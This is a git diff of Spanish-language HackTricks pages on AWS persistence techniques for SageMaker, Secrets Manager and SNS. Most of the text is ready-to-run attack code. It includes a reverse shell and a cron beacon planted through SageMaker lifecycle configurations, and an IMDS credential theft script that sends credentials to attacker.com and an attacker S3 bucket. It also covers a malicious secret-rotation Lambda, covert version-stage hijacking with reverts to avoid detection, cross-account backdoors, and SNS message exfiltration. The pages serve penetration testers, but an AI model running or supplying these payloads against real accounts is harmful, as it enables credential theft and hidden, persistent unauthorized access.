-* Controles a nivel de red (por ejemplo, filtrado de salida estricto) pueden prevenir shells reversos exitosos o exfiltración de datos.
-
-## Shell Reverso a través de Configuración de Ciclo de Vida
-
-Las Configuraciones de Ciclo de Vida de SageMaker (LCCs) ejecutan scripts personalizados cuando las instancias de notebook se inician. Un atacante con permisos puede establecer un shell reverso persistente.
-
-### Ejemplo de Payload:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Persistencia de Cron Job a través de la Configuración del Ciclo de Vida
-
-Un atacante puede inyectar trabajos cron a través de scripts de LCC, asegurando la ejecución periódica de scripts o comandos maliciosos, lo que permite una persistencia sigilosa.
-
-### Ejemplo de Payload:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## Exfiltración de Credenciales a través de IMDS (v1 y v2)
-
-Las configuraciones de ciclo de vida pueden consultar el Servicio de Metadatos de Instancia (IMDS) para recuperar credenciales de IAM y exfiltrarlas a una ubicación controlada por un atacante.
-
-### Ejemplo de Payload:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md

@@ -0,0 +1,230 @@
+# AWS - SageMaker Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Descripción general de las técnicas de persistencia
+
+Esta sección describe métodos para obtener persistencia en SageMaker abusando de Lifecycle Configurations (LCCs), incluyendo reverse shells, cron jobs, robo de credenciales vía IMDS y SSH backdoors. Estos scripts se ejecutan con el rol IAM de la instancia y pueden persistir tras reinicios. La mayoría de las técnicas requieren acceso de red saliente, pero el uso de servicios en el control plane de AWS aún puede permitir el éxito si el entorno está en 'VPC-only" mode.
+
+> [!TIP]
+> Nota: Las instancias de notebook de SageMaker son, esencialmente, instancias EC2 gestionadas configuradas específicamente para cargas de trabajo de machine learning.
+
+## Permisos requeridos
+* Instancias de notebook:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Aplicaciones de Studio:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## Configurar Lifecycle Configuration en Notebook Instances
+
+### Ejemplos de comandos de AWS CLI:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## Configurar Lifecycle Configuration en SageMaker Studio
+
+Las Lifecycle Configurations pueden adjuntarse en distintos niveles y a diferentes tipos de aplicaciones dentro de SageMaker Studio.
+
+### Studio Domain Level (Todos los usuarios)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Nivel de Studio Space (Espacios individuales o compartidos)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Tipos de configuraciones del ciclo de vida de aplicaciones de SageMaker Studio
+
+Las configuraciones del ciclo de vida se pueden aplicar específicamente a diferentes tipos de aplicaciones de SageMaker Studio:
+* JupyterServer: Ejecuta scripts durante el arranque del servidor Jupyter, ideal para mecanismos de persistencia como reverse shells y cron jobs.
+* KernelGateway: Se ejecuta durante el lanzamiento de la app kernel gateway, útil para la configuración inicial o acceso persistente.
+* CodeEditor: Se aplica al Code Editor (Code-OSS), permitiendo scripts que se ejecutan al iniciar las sesiones de edición de código.
+
+### Comando de ejemplo para cada tipo:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### Editor de Código
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Información crítica:
+* Adjuntar LCCs a nivel de dominio o espacio afecta a todos los usuarios o aplicaciones dentro del alcance.
+* Requiere permisos más elevados (sagemaker:UpdateDomain, sagemaker:UpdateSpace); típicamente es más factible a nivel de space que de domain.
+* Los controles a nivel de red (p. ej., filtrado estricto de salida/egress) pueden prevenir reverse shells exitosos o data exfiltration.
+
+## Reverse Shell mediante Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) ejecutan scripts personalizados cuando las instancias de notebook se inician. Un atacante con permisos puede establecer un reverse shell persistente.
+
+### Ejemplo de Payload:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Persistencia de cron jobs mediante Lifecycle Configuration
+
+Un atacante puede inyectar cron jobs a través de scripts LCC, asegurando la ejecución periódica de scripts o comandos maliciosos, permitiendo una persistencia sigilosa.
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Credential Exfiltration via IMDS (v1 & v2)
+
+Las configuraciones de ciclo de vida pueden consultar el Instance Metadata Service (IMDS) para recuperar credenciales IAM y exfiltrate them to an attacker-controlled location.
+
+### Payload Example:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Persistencia mediante la política de recursos del Model Registry (PutModelPackageGroupPolicy)
+
+Abusa de la política basada en recursos de un SageMaker Model Package Group para conceder a un principal externo permisos entre cuentas (por ejemplo, CreateModelPackage/Describe/List). Esto crea una puerta trasera persistente que permite subir versiones de modelos envenenadas o leer metadatos/artifacts del modelo incluso si el usuario/rol IAM del atacante en la cuenta víctima es eliminado.
+
+Permisos necesarios
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+Pasos (us-east-1)
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--query ResourcePolicy --output text
+```
+Notas
+- Para un cross-account backdoor real, limite Resource al ARN del grupo específico y use el AWS account ID del attacker en Principal.
+- Para despliegue end-to-end cross-account o lectura de artifacts, alinee los grants S3/ECR/KMS con la cuenta del attacker.
+
+Impacto
+- Control persistente cross-account de un Model Registry group: el attacker puede publicar versiones maliciosas de modelos o enumerate/read model metadata incluso después de que sus entidades IAM sean eliminadas en la victim account.
+
+## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
+
+Abusar de las configuraciones de usuario de SageMaker Canvas para redirigir silenciosamente las escrituras del model registry a una cuenta controlada por el attacker, habilitando ModelRegisterSettings y apuntando CrossAccountModelRegisterRoleArn a un rol del attacker en otra cuenta.
+
+Permisos requeridos
+- sagemaker:UpdateUserProfile en el UserProfile objetivo
+- Opcional: sagemaker:CreateUserProfile en un Domain que controlas
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

@@ -1,51 +0,0 @@
-# AWS - Persistencia de Secrets Manager
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### A través de Políticas de Recursos
-
-Es posible **otorgar acceso a secretos a cuentas externas** a través de políticas de recursos. Consulta la [**página de Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que cifra el secreto**.
-
-### A través de Lambda de Rotación de Secretos
-
-Para **rotar secretos** automáticamente se llama a una **Lambda** configurada. Si un atacante pudiera **cambiar** el **código**, podría **exfiltrar directamente el nuevo secreto** para sí mismo.
-
-Así es como podría verse el código de lambda para tal acción:
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md

@@ -0,0 +1,234 @@
+# AWS - Secrets Manager Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### A través de políticas de recursos
+
+Es posible **conceder acceso a secretos a cuentas externas** vía políticas de recursos. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) for more information. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que cifra el secreto**.
+
+### A través de Secrets Rotate Lambda
+
+Para **rotar secretos** automáticamente se invoca una **Lambda** configurada. Si un atacante pudiera **cambiar** el **código**, podría directamente **exfiltrar el nuevo secreto** a sí mismo.
+
+Así podría verse el código de la Lambda para tal acción:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Intercambiar la Lambda de rotación por una función controlada por el atacante mediante RotateSecret
+
+Abusar de `secretsmanager:RotateSecret` para reasignar un secret a una Lambda de rotación controlada por el atacante y forzar una rotación inmediata. La función maliciosa exfiltrates las versiones del secreto (AWSCURRENT/AWSPENDING) durante los pasos de rotación (createSecret/setSecret/testSecret/finishSecret) hacia un attacker sink (por ejemplo, S3 o HTTP externo).
+
+- Requisitos
+- Permisos: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) para aprovisionar el rol de ejecución de la Lambda con `secretsmanager:GetSecretValue` y preferiblemente `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (para que la rotación siga funcionando), KMS `kms:Decrypt` para la clave KMS del secreto, y `s3:PutObject` (o outbound egress) para exfiltration.
+- Un target secret id (`SecretId`) con rotación habilitada o la capacidad de habilitar la rotación.
+
+- Impacto
+- El atacante obtiene el/los valor(es) del secreto sin modificar el código legítimo de rotación. Solo se cambia la configuración de rotación para apuntar a la Lambda del atacante. Si no se detecta, las rotaciones programadas futuras seguirán invocando la función del atacante.
+
+- Pasos del ataque (CLI)
+1) Preparar el attacker sink y el rol de Lambda
+- Crear un bucket S3 para exfiltration y un rol de ejecución confiado por Lambda con permisos para leer el secreto y escribir en S3 (además de logs/KMS según sea necesario).
+2) Desplegar la Lambda del atacante que en cada paso de rotación obtiene el/los valor(es) del secreto y los escribe en S3. La lógica mínima de rotación puede simplemente copiar AWSCURRENT a AWSPENDING y promoverlo en finishSecret para mantener el servicio sano.
+3) Reasignar la rotación y forzarla
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) Verificar la exfiltration listando el prefijo S3 para ese secreto e inspeccionando los artefactos JSON.
+5) (Opcional) Restaurar la Lambda de rotación original para reducir la detección.
+
+- Ejemplo de Lambda del atacante (Python) exfiltrating to S3
+- Entorno: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
+
+Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, `ATTACKER`) while production continues to use the original `AWSCURRENT`. En cualquier momento, mueve `AWSCURRENT` a la versión del atacante para envenenar las cargas de trabajo dependientes, y luego restáuralo para minimizar la detección. Esto proporciona persistencia encubierta tipo backdoor y manipulación rápida en el momento de uso sin cambiar el nombre del secreto ni la configuración de rotación.
+
+- Requisitos
+- Permisos: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
+- ID del secreto objetivo en la Región.
+
+- Impacto
+- Mantener una versión oculta y controlada por el atacante de un secreto y voltear atómicamente `AWSCURRENT` a ella bajo demanda, influyendo en cualquier consumidor que resuelva el mismo nombre de secreto. El volteo y la rápida reversión reducen la probabilidad de detección mientras permiten la compromiso en el momento de uso.
+
+- Pasos del ataque (CLI)
+- Preparación
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>Comandos CLI</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- Notas
+- Cuando suministras `--client-request-token`, Secrets Manager lo usa como el `VersionId`. Al agregar una nueva versión sin establecer explícitamente `--version-stages`, `AWSCURRENT` pasa a la nueva versión por defecto y marca la anterior como `AWSPREVIOUS`.
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+Abusa de la replicación multi-región de Secrets Manager para crear una réplica de un secret objetivo en una región menos monitorizada, cifrarla con una clave KMS controlada por el atacante en esa región, luego promover la réplica a un secret independiente y adjuntar una política de recursos permisiva que otorgue al atacante acceso de lectura. El secret original en la región primaria permanece sin cambios, proporcionando un acceso duradero y sigiloso al valor del secret a través de la réplica promovida mientras se eluden las restricciones de KMS/policies en el primario.
+
+- Requisitos
+- Permisos: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- En la región de réplica: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) para permitir que el principal atacante realice `kms:Decrypt`.
+- Un principal atacante (usuario/rol) que reciba acceso de lectura al secret promovido.
+
+- Impacto
+- Ruta de acceso persistente entre regiones al valor del secret a través de una réplica independiente bajo un CMK de KMS controlado por el atacante y una política de recursos permisiva. El secret primario en la región original queda intacto.
+
+- Ataque (CLI)
+- Variables
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) Crear una KMS key controlada por el atacante en la Región réplica
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) Replicar el secret a R2 usando la clave KMS del atacante
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) Promover la réplica a una instancia independiente en R2
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) Adjuntar una política de recursos permisiva al secreto independiente en R2
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) Leer el secret desde el attacker principal en R2
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -1,77 +0,0 @@
-# AWS - SNS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Para más información consulta:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistence
-
-Al crear un **tema SNS** necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
-La siguiente política le da a todos en AWS acceso para leer y escribir en el tema SNS llamado **`MySNS.fifo`**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### Crear Suscriptores
-
-Para continuar exfiltrando todos los mensajes de todos los temas, el atacante podría **crear suscriptores para todos los temas**.
-
-Tenga en cuenta que si el **tema es de tipo FIFO**, solo se pueden utilizar suscriptores que usen el protocolo **SQS**.
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md

@@ -0,0 +1,113 @@
+# AWS - SNS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Persistencia
+
+Al crear un **SNS topic** debes indicar con una IAM policy **quién tiene acceso de lectura y escritura**. Es posible indicar cuentas externas, ARN of roles, o **incluso "\*"**.\
+La siguiente política otorga a todo el mundo en AWS acceso de lectura y escritura en el SNS topic llamado **`MySNS.fifo`**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### Crear suscriptores
+
+Para continuar exfiltrando todos los mensajes de todos los topics, un atacante podría **crear suscriptores para todos los topics**.
+
+Tenga en cuenta que si el **topic es de tipo FIFO**, solo se pueden usar suscriptores que utilicen el protocolo **SQS**.
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### Covert, selective exfiltration via FilterPolicy on MessageBody
+
+Un atacante con `sns:Subscribe` y `sns:SetSubscriptionAttributes` en un topic puede crear una suscripción SQS sigilosa que solo reenvía mensajes cuyo body JSON coincide con un filtro muy estricto (por ejemplo, `{"secret":"true"}`). Esto reduce el volumen y la detección mientras aún permite exfiltrating registros sensibles.
+
